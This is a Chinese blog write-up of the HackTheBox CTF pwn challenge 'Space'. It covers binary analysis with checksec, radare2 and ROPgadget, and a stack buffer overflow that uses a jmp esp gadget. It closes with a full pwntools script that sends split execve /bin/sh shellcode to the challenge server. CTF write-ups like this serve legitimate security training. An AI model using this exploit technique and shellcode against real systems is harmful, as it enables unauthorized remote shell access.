當前位置:網站首頁>HackTheBox-Space
HackTheBox-Space
2022-01-27 23:52:07 【galaxy3000】
概述
HackTheBox 網站CTF靶場PWN相關題目Space,題目地址https://app.hackthebox.com/challenges/space,主要考點為利用緩沖區溢出寫入shellcode
題目概述
下載附件Space.zip並解壓縮得到space,對應的遠程服務器實例為157.245.35.236:32466
基本信息獲取
查看文件屬性
直接運行
查看加固措施,發現NX沒有啟用
checksec space
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
查看字符串,發現沒有任何字符串
rabin2 -z space
[Strings]
nth paddr vaddr len size section type string
――――――――――――――――――――――――――――――――――――――――――――
radare2分析
[0x08049080]> afl
0x08049080 1 50 entry0
0x080490b3 1 4 fcn.080490b3
0x08049070 1 6 sym.imp.__libc_start_main
0x080490e0 4 49 -> 40 sym.deregister_tm_clones
0x08049120 4 57 -> 53 sym.register_tm_clones
0x08049160 3 33 -> 30 sym.__do_global_dtors_aux
0x08049190 1 2 entry.init0
0x080492b0 1 1 sym.__libc_csu_fini
0x080490d0 1 4 sym.__x86.get_pc_thunk.bx
0x080491a4 1 43 sym.vuln
0x08049243 1 4 sym.__x86.get_pc_thunk.ax
0x08049060 1 6 sym.imp.strcpy
0x080492b4 1 20 sym._fini
0x08049250 4 85 sym.__libc_csu_init
0x080490c0 1 1 sym._dl_relocate_static_pie
0x08049192 1 15 sym._
0x080491cf 1 116 main
0x08049040 1 6 sym.imp.printf
0x08049050 1 6 sym.imp.fflush
0x08049030 1 6 sym.imp.read
0x08049000 3 32 sym._init
查看main,發現調用vuln
查看vuln
解題思路
利用溢出寫入shellcode
確認偏移
得到偏移為18
pwndbg> cyclic -l 0x61666161
18
測試可寫入空間大小
發現可寫入空間過小,只能把shellcode分為兩半
確定eip
ROPgadget --binary space --only 'jmp'
Gadgets information
============================================================
0x0804903b : jmp 0x8049020
0x08049190 : jmp 0x8049120
0x0804919f : jmp esp
將eip設定為jmp esp
,通過execve調用/bin/sh
,相關利用代碼從shellstrom獲取
\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80
解題代碼
from pwn import *
jmp_esp_addr = 0x0804919f
shellcode_first = '\x31\xd2\x31\xc0\x83\xec\x16\xff\xe4'
shellcode_last = '\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
io = remote('157.245.35.236',32466)
payload = '\x90' + shellcode_last + p32(jmp_esp_addr) + shellcode_first
io.sendline(payload)
io.interactive()
版權聲明
本文為[galaxy3000]所創,轉載請帶上原文鏈接,感謝
https://cht.chowdera.com/2022/01/202201272352071923.html
邊欄推薦
猜你喜歡
隨機推薦
- uniapp上傳圖片及組件傳值
- 瑞利年金險資金保障安全嗎?收益高不高啊?
- 華為手機USB連不上電腦的解决方法
- Flutter 2,移動金融應用開發
- 關於st25系列NFC標簽簡單介紹及st25TV系列用於門禁讀取時的注意事項總結
- 關於用ffmpeg轉手機視頻發現視頻長寬倒了的問題
- 函數 / 類模板--模板2
- 數組中的第k個最大的元素--優先級隊列、排序、堆、排序
- 單片機實例27——ADC0809A/D轉換器基本應用技術(硬件電路圖+匯編程序+C語言程序)
- Collection集合的學習
- 一場面試結束,某度員工從事Android 5年為何還是初級工程師?
- 3本書閱讀筆記【人月神話-Go語言實戰-研發能力持續成長路線】01
- PHP垃圾回收機制
- 【電子技術】什麼是LFSR?
- 死鎖?如何定比特到死鎖?如何修複死鎖?(jps和jstack兩個工具)
- 快樂寒假 22/01/20
- image
- 噴程序員?SURE?
- LDO分壓電阻計算小工具
- 面試之求一串字符串中每個字符的出現次數
- 【ISO15765_UDS&OBD診斷】-01-概述
- 【Mysql上分之路】第九篇:Mysql存儲引擎
- RHCE 第一次作業
- 2021.10.16我的第一篇博客:一切皆有可能!
- CTA-敏感行為-讀取IMEI
- 面試被問怎麼排查平時遇到的系統CPU飆高和頻繁GC,該怎麼回答?
- nuxt項目總結-綜合
- 自然語言處理學習筆記(一)
- C語言第一課
- 各比特大佬,Spark的重點難點系列暫時更新完畢
- 基於 esbuild 的 universal bundler 設計
- XCTFre逆向(四):insanity
- 理解什麼是真正的並發數
- JVM腦圖
- 【Pytorch(四)】學習如何使用 PyTorch 讀取並處理數據集
- 函數棧幀的創建與銷毀
- 構建神經網絡- 手寫字體識別案例
- 多模態生成模型ERNIE-VILG
- kotlin不容忽視的小細節
- 備戰一年,終於斬獲騰訊T3,我堅信成功是可以複制的